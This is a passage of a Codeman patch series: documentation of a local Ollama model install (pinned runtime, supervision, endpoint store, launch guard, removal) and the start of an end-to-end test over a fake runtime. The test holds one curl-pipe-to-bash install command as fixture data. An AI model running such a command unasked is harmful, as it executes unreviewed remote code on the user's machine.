on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment. + +**Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove. + +**Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`. + +**The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it. + +Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`. + ### Approvals Inbox **Approvals Inbox** (cross-session queue of prompts waiting on a human; `approvalsInboxEnabled`, SYNCED, default OFF: every surface is opt-in; only the store and answer endpoints run regardless, so flipping it ON shows anything already pending): `web/approval-inbox.ts` is a `sessionWaits`-style singleton fed by `/api/hook-event`, holding at most ONE item per session (a new prompt supersedes), in-memory; answerable items are claude-mode only, and the DeepSeek status bridge and codex's screen-read dialogs (`web/screen-blocked.ts`) open ALERT-ONLY items (`answerInTerminal`: the answer route refuses them BEFORE its hooks gate, push carries no `approvalId`, the card and overview strip say "answer in the terminal"). Cards are answered via `POST /api/approvals/:id/answer`, which sends a digit / Esc / idle-prompt text through `writeViaMux` (menu answers never carry `\r`). diff --git a/docs/custom-model-endpoints.md b/docs/custom-model-endpoints.md index 78001ed4..31f5de00 100644 --- a/docs/custom-model-endpoints.md +++ b/docs/custom-model-endpoints.md @@ -663,6 +663,45 @@ each result. `scripts/test-local-llm-harnesses.ts` is the standalone script used to check a harness against a real endpoint outside the web UI entirely; see its own `--help` for usage. +## The endpoint store has one writer + +`~/.codeman/custom-model-hosts.json` is written only through `mutateCustomModelHosts()` +(`src/custom-model-hosts-writer.ts`): the create, update, delete and discover routes, the +five-minute re-discovery sweep and the local model install all go through it. + +- **One at a time.** Changes run on one queue, and the check a route makes ("this id is + free", "this endpoint still exists") runs in the same step as its write. Before, each + writer read the file, changed its copy and wrote it back on its own, all through one temp + file name: a route and the sweep, or two requests sent together, could lose each other's + change or fail outright. +- **Atomic.** A temp file with a random name beside the target, then a rename. Mode 0600. +- **A file that does not parse is refused, not replaced.** The writing routes answer + `409 CONFLICT` with the fix (repair or delete the file, or restore it from a config + backup) and leave it byte for byte. Before, such a file read as an empty list, and the next + save replaced every stored endpoint and its API key with one record. The message never + quotes the file, which holds keys. + +The one direct writer left is config-backup restore, which must work on a file that does +not parse. + +## The endpoint of the model on this Mac + +Installing a local model from Codeman ([local-models.md](local-models.md)) saves one endpoint +with the reserved id `local-ollama` and the label "This Mac". It shows up in the list and in +the Run menu like any other endpoint. Three things are different: + +- A new endpoint cannot be given the id `local-ollama`. +- While it is the endpoint the install manages, it cannot be edited or deleted here, and + "Discover" answers its stored model list without asking the runtime. Its model list must + stay the one model the install checked, and its address the port of the runtime Codeman + supervises. Change or remove it in the local model window. +- A session is started on it only while Codeman's own runtime is running and the model is + still the one that was installed (its digest is compared). Otherwise the launch answers + with one sentence. + +An endpoint with that id that somebody made by hand, with no model installed by Codeman, is +an ordinary endpoint: it can be edited and deleted as before. + ## Security note Every env var this feature can set that redirects a session's traffic diff --git a/docs/local-models.md b/docs/local-models.md new file mode 100644 index 00000000..b8c33d0b --- /dev/null +++ b/docs/local-models.md @@ -0,0 +1,255 @@ +# A model that runs on this Mac + +Codeman can set up a coding model that runs on the Mac the server runs on: no account, no +API key, nothing leaves the machine. One button on the welcome screen opens a window that +shows what fits this Mac, installs the choice and ends on a coding agent session that +runs on it. + +**Experimental.** The routes and their payloads may change in any release +([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple +silicon macOS only: anywhere else the window says why nothing is offered. + +This page is the reference for how it works. The HTTP contract is in +[api-reference.md](api-reference.md) ("Local model"). The rules that must not be broken are +in [architecture-invariants.md](architecture-invariants.md#local-model-install). + +## What an install does, in order + +The person picks a model, presses "Install on this Mac" and confirms the sizes once. The +server then runs one job of five steps. The window polls `GET /api/local-model` once a +second; the job runs in the server, so the window can be closed. + +| Step | What it does | +| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `runtime` | Downloads the pinned runtime, compares its hash, unpacks it, chooses a port once, starts it, reads the measured memory budget and judges the choice again | +| `model` | Downloads the model through the runtime | +| `verify` | Loads the model and checks it: one tiny chat, the memory and context the runtime reports, one tool call | +| `agent` | Installs the coding agent with its stock install command. Left out when the agent is installed | +| `connect` | Saves one model endpoint and switches the custom model endpoints setting on | + +Every step can be repeated: Resume and "Try again" enter the step the job stopped in. + +### The runtime + +- **One pinned build.** Ollama 0.40.15 for macOS, a compiled constant + (`OLLAMA_RUNTIME_PIN` in `src/local-model/runtime.ts`): the URL, the size (185,971,671 + bytes) and the sha256. No file, setting, environment variable or request can change which + binary is downloaded. +- **Download.** Streamed to `*.partial` while it is hashed. A cut stream is continued with a + Range request, at most three times. The hash is compared before anything is unpacked, and + a mismatch deletes the file. Unpacking is `/usr/bin/tar` into a temporary folder, then one + rename. +- **No administrator rights.** Everything lives in the data directory. +- **Supervised by Codeman.** The runtime is a non-detached child of the server: started at + boot once a model is installed and not stopped, restarted at most three times after a + crash, sent SIGTERM at shutdown. It is not a login item: it stops with Codeman, and a + leftover from a server that was killed is taken back at the next start (see below). +- **Its environment is an allowlist.** `PATH`, `TMPDIR`, `LANG` and the proxy variables are + copied from the server. `HOME` is a private folder. Exactly these are set: + `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, + `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, + `OLLAMA_MAX_LOADED_MODELS=1`. No `CODEMAN_*` variable and none of the user's own + `OLLAMA_*` settings reach it. +- **The port is chosen once**, by binding, from 11435 across 20 ports, and stored. 11434 is + left alone: it is the default of a runtime the user may run themselves, which is never + touched. +- **An orphan is recognized.** The pid and the port are stored. At boot a listener on the + port that answers `/api/version` and whose pid runs a binary under Codeman's runtime folder + is Codeman's own leftover from a server that was killed: it is adopted or replaced. Any + other listener is "Port 11435 is in use by another program", with "Use another port" as + the way out. + +### The memory budget is measured + +Before the runtime exists the budget is an estimate from the installed memory. Right after +it starts, the runtime prints the device total in its log line "inference compute" +(`total="37.4 GiB"` on a 48 GB MacBook). Codeman reads that line, stores the figure and +judges the chosen model against it before a byte of the model is downloaded. A model that no +longer fits ends the job there with "does not fit" and the next model to try. From then on +the window shows the measured budget and the word "estimated" is gone. + +The need of a model is its peak: the weights, what stays held per token of context, what the +runner holds beside both, and what it takes for a moment while a long prompt is processed. + +### The model download + +`POST /api/pull` with `stream: true`. A 23 GB pull sends about 1.4 million progress lines, +so the stream is parsed piece by piece and never kept. Cancel aborts the request, which +stops the download. Resume pulls again and the runtime continues its partial files. An error +line or a cut stream is retried up to five times. Once the pull reported its total, every +size shown for the model is that total. + +### The check + +After the pull, in this order: + +1. One tiny chat with `reasoning_effort: "none"`. It loads the model. +2. `GET /api/ps` must show the whole model on the GPU (`size_vram` equal to `size`) at the + chosen context length. +3. One tool probe on `/v1/chat/completions` (a `tools` array, `reasoning_effort: "none"`, + `max_tokens` 1024). It passes on a tool call whose arguments parse. + +A failure is a state with a code and one next step, never a bare "failed": `does-not-fit` +and `no-tool-call` offer the next model, `probe-unfinished` (the token limit ended the +probe, so it proves nothing) and `load-failed` offer "Try again". The digest the runtime +reports for the model is stored when the check passed. + +### The coding agent + +When the chosen coding agent is not installed, the job installs it with the CLI registry's +own stock install command, through the same runner as App Settings > CLIs +(`src/cli-install-runner.ts`). The rules: + +- Only a CLI that is a harness row of the local model catalogue. +- Only the **compiled** stock command. A `~/.codeman/clis.json` override cannot change what + runs here. +- Only after the person's consent click, on a screen that showed the literal command. +- Admin only in multi-user mode, and written to the admin audit log (`cli_install`, with + `via: "local-model"`). +- One installer per CLI at a time, shared with App Settings: while one runs, the other + answers that it is busy. +- Afterwards the cached lookups of the CLI's binary are forgotten and the binary is looked + for again. Still missing is the failure `harness-failed`, with the installer's last lines. + +This step does not need the `cliManagementEnabled` setting. That setting gates the general +CLI management surface; this path can only ever run one vetted command for one catalogue +row. + +### The connection + +Two writes outside the local model folder, both undone by Remove: + +1. One record in `custom-model-hosts.json`: + + ```json + { + "id": "local-ollama", + "label": "This Mac", + "baseUrl": "http://127.0.0.1:11435", + "authStyle": "bearer", + "models": ["qwen3.6:35b-a3b"], + "defaultModelId": "qwen3.6:35b-a3b", + "defaultContextLength": 131072 + } + ``` + + `defaultContextLength` is the chosen context: the runtime's model listing states none, so + this field is what reaches the coding agent as its context limit. + +2. `customModelEndpointsEnabled: true` in `settings.json`. The value it had before is kept + in the state file. + +The id `local-ollama` is reserved. A new endpoint cannot take it, and a record with that id +that this feature did not write is never overwritten: the install says so before anything is +downloaded. While the record is the managed one it cannot be edited or deleted in App +Settings and the five-minute discovery sweep leaves it alone, so its model list stays the +one model the install checked. + +Switching the setting on also starts that five-minute sweep for every other saved endpoint. + +## Starting a session + +"Start a session" starts the coding agent on the endpoint `local-ollama` through the +existing custom model launch. Before any session is started on that endpoint the server +checks, in this order: + +- the runtime child Codeman started is alive (whatever else answers on the port is not + ours); +- the digest the runtime reports for the installed model is the one stored at install time; +- the model asked for is the one that was installed and checked. + +A different digest refuses the launch: "The model on this Mac changed since it was +installed. Remove it and install it again." The digest is also read again at boot and when +the runtime is started. + +## Stop, Start, Remove + +- **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes + that. +- **Remove** stops the runtime, removes the endpoint record, switches the setting off again + only when this feature switched it on and no other endpoint is saved, and deletes the + runtime and its private home. The downloaded model is deleted only when asked. The coding + agent stays. While a live session uses the model, Remove answers with the session names + instead. + +## Where everything is + +All under the data directory (`~/.codeman`, or the instance's own): + +``` +local-model.json the state file (mode 0600) +local-model/ + runtime/ollama-0.40.15.tgz.partial the runtime archive while it downloads + runtime/ollama-0.40.15/ the unpacked runtime (about 579 MB) + models/ the model store + home/ the runtime's private HOME (its key pair is here) +``` + +Nothing is written or deleted outside `local-model/` except the state file beside it and the +two writes of the connection. The state file holds no path, so it can never point a delete +somewhere else. The user's own `~/.ollama` is never created, read or removed. + +`local-model.json` is not part of a config backup. `custom-model-hosts.json` and +`settings.json` are, so restoring an older backup can take the endpoint record away while +the model stays installed. The record is put back the next time Codeman starts (the setting +is left as the backup had it). A restore can also bring a record back after a Remove: it +then points at a port nothing listens on, is an ordinary endpoint again, and can be deleted +in App Settings. + +## The job's states + +| State | A server restart | Cancel | What can be done | +| ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- | +| `idle` | stays idle | refused | install | +| `installing` | becomes `paused` at the same step | becomes `paused` | cancel | +| `paused` | stays paused | refused | resume, install, remove | +| `failed` | stays failed, same error | refused | resume, install, remove | +| `installed` | stays installed; the runtime is started unless it was stopped | refused | start a session, stop or start, remove | + +One job at a time. A job a server restart interrupted comes back paused and never continues +without a click. Cancel interrupts the step in flight (the download, the pull, the request, +the installer's process group); in the last step it is honoured before the first write, and +once the two writes began they finish. + +## On a Mac without developer tools + +Coding agents call `git` and `python3`. On a Mac without Xcode or the Command Line Tools +those are stubs that open macOS's "install the command line developer tools" window. So the +window says one sentence wherever the person commits or finishes, and only when +`/usr/bin/xcode-select -p` fails: + +> Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer +> to install them the first time an agent needs one. + +Codeman itself only ever runs `/usr/bin/xcode-select -p` for this, bounded, and never `git` +or `python3`. + +## What to know before relying on it + +- **The runtime's port has no login.** Any program on this Mac, and any web page served from + `localhost`, can use the model server and change its models. That is why the endpoint + record lists one model, why the sweep leaves it alone, and why the digest is compared + before a session starts. +- **A Codeman restart stops the runtime.** A session that is mid-answer on the local model + loses that answer. The runtime is started again with the server, and the first request + loads the model again (seconds). +- **The runtime does not enforce the context length.** A prompt longer than the context was + accepted in testing. Do not rely on the runtime to stop one. +- **The model stays in memory for ten minutes** after the last request, then the runtime + unloads it. + +## Source + +| What | Where | +| ---------------------------------------------- | -------------------------------------------------------------------------------------------------- | +| Hardware probe, catalogue, recommendation | `src/local-model/hardware.ts`, `src/config/local-model-catalog.ts`, `src/local-model/recommend.ts` | +| Runtime pin, download, environment, supervisor | `src/local-model/runtime.ts` | +| Runtime HTTP client, pull parser, checks | `src/local-model/ollama-client.ts` | +| Developer tools check | `src/local-model/developer-tools.ts` | +| Job (state table, reducer, view, service) | `src/local-model/install-job.ts` | +| State file | `src/local-model/state-store.ts` | +| Connection and its undoing | `src/local-model/connect.ts` | +| Paths | `src/local-model/paths.ts` | +| Routes | `src/web/routes/local-model-routes.ts` | +| Shared CLI install runner | `src/cli-install-runner.ts` | +| Serialized writer of the endpoint store | `src/custom-model-hosts-writer.ts` | diff --git a/docs/versioning-policy.md b/docs/versioning-policy.md index ed6dd809..ffd7b0cf 100644 --- a/docs/versioning-policy.md +++ b/docs/versioning-policy.md @@ -86,18 +86,25 @@ covered like any other stable behavior. Other agent commands and API routes keep their existing guarantees. Promotion to stable requires an explicit documented decision. -### Experimental local model recommendation +### Experimental local model routes -`GET /api/v1/local-model` (and its `/api` alias) is labeled experimental, so item 3 -above applies to it: its path, its payload (the hardware facts, the verdicts and -reasons, the candidate fields and the English sentences in `headline` and -`notes`) and its behavior may change or be removed in a MINOR or PATCH release. -It is read-only today: it looks at the Mac the server runs on and says which -local model fits. The step that sets a model up from Codeman is not built yet -and will change what the route reports, which is why the shape is not promised. -It is not behind a setting (it writes nothing and adds no settings key); it is -admin only in multi-user mode. Promotion to stable requires an explicit -documented decision. +`GET /api/v1/local-model`, `POST /api/v1/local-model/install`, `/cancel`, `/resume` +and `/runtime`, and `DELETE /api/v1/local-model` (and their `/api` aliases) are +labeled experimental, so item 3 above applies to them: their paths, their payloads +(the hardware facts, the verdicts and reasons, the candidate fields, the `install` +object with its states, steps, error codes and actions, the 409 conflict shape and +every English sentence) and their behavior may change or be removed in a MINOR or +PATCH release. They look at the Mac the server runs on, say which local model fits, +and install, start, stop and remove one ([local-models.md](local-models.md)). + +They are not behind a setting. Reading changes nothing; an install starts only on an +explicit request that carries the size the person confirmed. All of them are admin +only in multi-user mode. What an install leaves behind is ordinary, stable state: one +saved model endpoint with the id `local-ollama` and the `customModelEndpointsEnabled` +setting switched on, both of which the stable custom model endpoint routes read like +any other endpoint. On-disk state (`local-model.json`, the `local-model/` folder) is +internal, as for every other file in the data directory. Promotion to stable requires +an explicit documented decision. ## Deprecation policy diff --git a/docs/wiki/Custom-Model-Endpoints.md b/docs/wiki/Custom-Model-Endpoints.md index a7e4f0d6..4ee5aa59 100644 --- a/docs/wiki/Custom-Model-Endpoints.md +++ b/docs/wiki/Custom-Model-Endpoints.md @@ -204,6 +204,45 @@ Which harnesses show up in the Run-menu picker is read live off Codeman's own CL not a fixed list here, so this table can go stale before this page does — a greyed-out or missing entry is the more current answer. +## A model that runs on this Mac + +If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your +own: Codeman can set one model up for you on that Mac. This is experimental. + +1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model + on this Mac). +2. The window shows what fits this Mac. A bar shows how much of the memory the selected + model takes at its full context; a nearly full bar means a tight fit. Pick a model and + the coding agent to run it with. +3. Press **Install on this Mac**, check the sizes and where they go, and confirm. Nothing is + downloaded before this click. +4. Codeman downloads a model runtime (Ollama, about 186 MB) and the model into + `~/.codeman/local-model`, loads the model, checks that all of it runs on the GPU and that + it can call a tool, installs the coding agent if it is missing, and saves an endpoint + named **This Mac**. No administrator password is asked for. +5. Press **Start a session**. + +Good to know: + +- You can close the window: the download continues while Codeman is running. **Cancel** + pauses it and **Continue** picks it up where it stopped. After a Codeman restart an + unfinished install waits for your click. +- The memory figure is an estimate until the runtime has started once. From then on it is + what the runtime itself measured, and the model is judged against that before it is + downloaded. +- The endpoint "This Mac" belongs to this install. It is in the list and in the Run menu, + but it is changed and removed in the local model window, not here. +- Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from + starting next time. +- **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The + coding agent stays installed. +- If the model on disk is no longer the one that was installed, Codeman refuses to start a + session on it and tells you to remove and install it again. +- Any program on this Mac, and any web page served from `localhost`, can reach the model + runtime: its port has no login. It listens on this Mac only. +- On a Mac without Apple's developer tools, macOS will offer to install them the first time + a coding agent runs `git` or Python. The window tells you when that applies. + ## What it does not do - **No remote or Docker sessions yet.** Both restart their agent differently under the hood diff --git a/docs/wiki/Settings-Reference.md b/docs/wiki/Settings-Reference.md index 0ffcdf52..a88b55ad 100644 --- a/docs/wiki/Settings-Reference.md +++ b/docs/wiki/Settings-Reference.md @@ -193,19 +193,25 @@ attached. section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints). -**Model on this Mac** is not a setting: it is a read-only answer. When the Codeman server -runs on a Mac with Apple silicon, it shows that Mac's chip, memory and free disk space, the -local coding model that fits it best with the agent CLI to run it, what the model needs of -the memory the Mac can give one, its download size and an estimated speed, and the other -models that fit (Good or Tight for the memory, Slow or Speed unknown for the speed). A Mac -that can only run a model under 12 billion parameters is told so in plain words, and a Mac -with too little memory, too little free disk space or an Intel processor is told why nothing -is offered. The numbers are estimates from a catalogue that ships with each release; nothing -has been tested on your Mac. **Nothing is downloaded or installed from here yet**: setting -the model up from Codeman is the next step and is not built. The same answer appears as a -card on the welcome screen, which you can hide per device (it stays here). The group is not -shown when the server runs on Linux or Windows, and in multi-user mode only an admin sees -it. The "Mac" is always the machine the server runs on, not the device you are reading on. +**Model on this Mac** is not a setting: it is the state of a model Codeman can run for you +on the Mac the server runs on, with a button that opens the local model window. The same +window opens from the **Run a local model** button on the welcome screen. It shows that +Mac's chip, memory and free disk space, a bar for how much of the memory the selected model +takes, and the models that fit, each with one tag (Best fit, Tight, Slow, Small model, or +"Tested on a Mac like this"), a speed and a download size. **Install on this Mac** asks you +to confirm the sizes once, then downloads a model runtime and the model into +`~/.codeman/local-model`, checks that the model loads and can call a tool, installs the +coding agent if it is missing, and ends on **Start a session**. No account, no API key and +no administrator password. You can close the window while it downloads, cancel and continue +later; after a Codeman restart an unfinished install waits for you to press Continue. Once a +model is installed the window offers Start a session, Stop or Start, and Remove. Installing +switches **Custom model endpoints** on and saves one endpoint named "This Mac"; Remove takes +the endpoint away again and switches the setting back off if nothing else uses it. A Mac +that can only run a small model is told so in plain words, and a Mac with too little memory, +too little free disk space or an Intel processor is told why nothing is offered. The group +is not shown when the server runs on Linux or Windows, and in multi-user mode only an admin +sees it. The "Mac" is always the machine the server runs on, not the device you are reading +on. Details: [Custom Model Endpoints](Custom-Model-Endpoints#a-model-that-runs-on-this-mac). ### Agents & CLIs From 30ffdaeecd03aa1319eb1672275cbbe11be79105 Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 22:16:38 +0100 Subject: [PATCH 18/28] test(local-model): the install end to end over the fake runtime The real routes, service, recommendation, runtime download and unpack, supervisor, pull, checks, connection and state file, joined together. Only the runtime (a fake HTTP server the injected spawn "starts"), the hardware, the coding agent's installer and the waits between retries are stand-ins. Walks: the whole install and its removal (the folder is gone, the settings flag is restored); a runtime download that arrives damaged; a model download that fails twice and then succeeds; one that keeps failing; a model that calls no tool; Cancel during the model download; a server restart during the model download, which comes back paused and waits for a click. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- test/local-model-install-e2e.test.ts | 677 +++++++++++++++++++++++++++ 1 file changed, 677 insertions(+) create mode 100644 test/local-model-install-e2e.test.ts diff --git a/test/local-model-install-e2e.test.ts b/test/local-model-install-e2e.test.ts new file mode 100644 index 00000000..886c26ce --- /dev/null +++ b/test/local-model-install-e2e.test.ts @@ -0,0 +1,677 @@ +/** + * @fileoverview The local model install from the first GET to Remove, with the REAL modules + * joined together: the routes, the install service, the catalogue and `recommend()`, the + * runtime download and unpack, the supervisor, the pull, the checks, the connection and the + * state file. Only what would touch the world is a stand-in: + * + * - the runtime is the fake HTTP server of test/fixtures/fake-ollama.ts (one instance serves + * the archive, a second one is what the supervisor "starts" through the fake's `spawn`); + * - the pin points at the fake's small archive and carries that archive's own sha256, so the + * real download, the real hash comparison and the real `/usr/bin/tar` run; + * - the hardware is the owner's MacBook as its `sysctl` reported it (Apple M5 Pro, 48 GB); + * - the coding agent's installer is a function that says it ran; + * - the waits between retries are skipped (the retries themselves are the real ones). + * + * Nothing is downloaded from the network, no process is started and no fixed port is used + * (the runtime's port is one the system handed out). Files live in the test's temp data dir. + * + * The walks: the whole install and its removal; a damaged runtime download; a model download + * that fails twice and then succeeds; one that keeps failing; a model that calls no tool; + * Cancel during the model download; a server restart during the model download. + * + * "A server" here is one install service with its own runtime supervisor (`startServer()`). + * A restart is `shutdown()` of the one and a new one over the same data dir. + * + * The other tests give each module fakes of its neighbours. This one is what fails when two + * modules that each pass their own tests do not fit together. + * + * Port: the fake runtime binds port 0 twice; the routes use app.inject(). + */ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { rm } from 'node:fs/promises'; +import { dirname } from 'node:path'; +import { createRouteTestHarness } from './routes/_route-test-utils.js'; +import { + createFakeOllama, + freeLoopbackPort, + MACBOOK_MEASURED_TOTAL_BYTES, + startFakeOllama, + type FakeOllama, +} from './fixtures/fake-ollama.js'; +import { dataPath, getDataDir } from '../src/config/instance.js'; +import { customModelHostsPath, readCustomModelHosts } from '../src/custom-model-hosts.js'; +import { createLocalModelService, type LocalModelService } from '../src/local-model/install-job.js'; +import { memClassGb, formatGb } from '../src/local-model/format.js'; +import { pullModel, PULL_RETRIES } from '../src/local-model/ollama-client.js'; +import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js'; +import { createRuntimeSupervisor, ensureRuntimeInstalled } from '../src/local-model/runtime.js'; +import { readLocalModelState } from '../src/local-model/state-store.js'; +import { registerLocalModelRoutes } from '../src/web/routes/local-model-routes.js'; +import { SETTINGS_PATH } from '../src/web/route-helpers.js'; +import type { Candidate, HardwareFacts, HarnessFact, LocalModelInstallView, LocalModelStatus } from '../src/types.js'; + +const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash'; + +/** The owner's MacBook, from its sysctl capture of 2026-11-06. */ +const MACBOOK: HardwareFacts = { + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes: 51539607552, + memGb: formatGb(51539607552), + memClassGb: memClassGb(51539607552), + chip: 'Apple M5 Pro', + model: 'Mac17,13', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: 912308310016, + freeDiskGb: formatGb(912308310016), + source: 'sysctl', +}; + +interface World { + archive: FakeOllama; + runtime: FakeOllama | undefined; + port: number; + paths: LocalModelPaths; + agentInstalled: boolean; + installerRuns: number; + /** How many of the next archive downloads arrive with one byte changed (the size stays the pinned one). */ + damagedDownloads: number; + /** The server that is up. A restart replaces it. */ + service: LocalModelService; + /** Every server of the test, for the clean-up. */ + services: LocalModelService[]; + sessions: Map<string, { name: string; customModel?: { endpointId: string } }>; +} + +let world: World; + +const HOSTS = () => customModelHostsPath(getDataDir()); +const STATE = () => dataPath('local-model.json'); + +const harnessFacts = async (): Promise<HarnessFact[]> => [ + { + cli: 'opencode', + label: 'OpenCode', + installed: world.agentInstalled, + installable: !world.agentInstalled, + ...(world.agentInstalled ? {} : { installCommand: INSTALL_COMMAND }), + acceptsModelId: () => true, + }, +]; + +/** + * The download of the runtime archive: the real `fetch` against the fake's archive. While + * `world.damagedDownloads` is above 0 the body arrives with its last byte changed, as a + * download damaged on the way does: the size is still the pinned one, only the hash can tell. + */ +const archiveFetch: typeof fetch = async (input, init) => { + const res = await fetch(input, init); + if (world.damagedDownloads <= 0 || !res.ok) return res; + world.damagedDownloads -= 1; + const body = Buffer.from(await res.arrayBuffer()); + body[body.length - 1] ^= 0xff; + return new Response(body, { status: res.status, headers: { 'content-length': String(body.length) } }); +}; + +/** + * One Codeman server as far as this feature goes: an install service with its own runtime + * supervisor, over the data dir, the pin and the port of the test. It becomes `world.service`, + * which is the one the routes ask. + */ +function startServer(): LocalModelService { + const pin = world.archive.pin(); + const { paths, port } = world; + const supervisor = createRuntimeSupervisor({ + // "Starting the runtime" makes the second fake listen on the port it was given. + spawn: (command, args, options) => { + if (!world.runtime) throw new Error('The test did not prepare a runtime'); + return world.runtime.spawn(command, args, options); + }, + fetch, + env: { PATH: process.env.PATH, CODEMAN_PASSWORD: 'must-not-reach-the-runtime', OLLAMA_ORIGINS: '*' }, + commandOfPid: async () => undefined, + kill: () => {}, + sleep: async () => {}, + pin, + paths, + onChange: (status) => service.onRuntimeChange(status), + }); + const service: LocalModelService = createLocalModelService({ + readHardware: async () => MACBOOK, + buildHarnessFacts: harnessFacts, + pin, + paths, + // The real download and unpack, told where the network is: the fake's archive. + ensureRuntimeInstalled: (options) => + ensureRuntimeInstalled({ ...options, deps: { fetch: archiveFetch, sleep: async () => {} } }), + // The real pull with its real retries, without the seconds between them. + pullModel: (target, modelId, options) => pullModel(target, modelId, { ...options, sleep: async () => {} }), + chooseRuntimePort: async () => port, + supervisor, + recheckCliInstalled: async () => world.agentInstalled, + tryBeginCliInstall: () => () => {}, + runInstallCommand: async () => { + world.installerRuns++; + world.agentInstalled = true; + return { code: 0, output: 'opencode installed\n', timedOut: false, aborted: false }; + }, + audit: async () => {}, + checkDeveloperTools: async () => 'missing', + }); + world.service = service; + world.services.push(service); + return service; +} + +beforeEach(async () => { + const archive = await startFakeOllama(); + world = { + archive, + runtime: undefined, + port: await freeLoopbackPort(), + paths: localModelPaths('0.40.15'), + agentInstalled: false, + installerRuns: 0, + damagedDownloads: 0, + service: undefined as unknown as LocalModelService, + services: [], + sessions: new Map(), + }; + startServer(); +}); + +afterEach(async () => { + for (const service of world.services) await service.shutdown(); + await world.archive.close(); + await world.runtime?.close(); + await rm(world.paths.root, { recursive: true, force: true }); + rmSync(STATE(), { force: true }); + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + vi.restoreAllMocks(); +}); + +async function routes() { + const { app } = await createRouteTestHarness((instance) => + registerLocalModelRoutes( + instance, + { sessions: world.sessions }, + { readHardware: async () => MACBOOK, buildHarnessFacts: harnessFacts, service: () => world.service } + ) + ); + const get = async (): Promise<LocalModelStatus> => + (await app.inject({ method: 'GET', url: '/api/local-model' })).json().data; + /** Polls the GET the way the window does, until the job is no longer running. */ + const settled = async (): Promise<LocalModelInstallView> => { + let install = (await get()).install; + await vi.waitFor( + async () => { + install = (await get()).install; + expect(install.state).not.toBe('installing'); + }, + { timeout: 20_000, interval: 25 } + ); + return install; + }; + /** The click on "Download and install" for the row the server recommends, with the size it showed. */ + const install = (pick: Candidate) => + app.inject({ + method: 'POST', + url: '/api/local-model/install', + payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.installBytes }, + }); + /** Polls until the model download is under way and has moved. */ + const pulling = async (): Promise<void> => { + await vi.waitFor( + async () => { + const status = await get(); + expect(status.install.step).toBe('model'); + expect(status.install.progress?.completedBytes ?? 0).toBeGreaterThan(0); + }, + { timeout: 20_000, interval: 20 } + ); + }; + return { app, get, settled, install, pulling }; +} + +/** The runtime the supervisor will "start": it has exactly the model the server recommended. */ +function prepareRuntime(pick: Candidate): FakeOllama { + world.runtime = createFakeOllama({ + model: { id: pick.modelId, bytes: pick.downloadBytes }, + contextLength: pick.context, + }); + return world.runtime; +} + +/** A model download that takes a while: 400 lines, 5 ms apart. */ +function slowPull(runtime: FakeOllama): void { + runtime.switches.pull.progressLines = 400; + runtime.switches.pull.lineDelayMs = 5; +} + +function quickPull(runtime: FakeOllama): void { + runtime.switches.pull.progressLines = 20; + runtime.switches.pull.lineDelayMs = 0; +} + +describe('the install from the first GET to Remove, real modules over a fake runtime', () => { + it('recommends for the MacBook, installs what was confirmed, connects it, refuses a changed model, 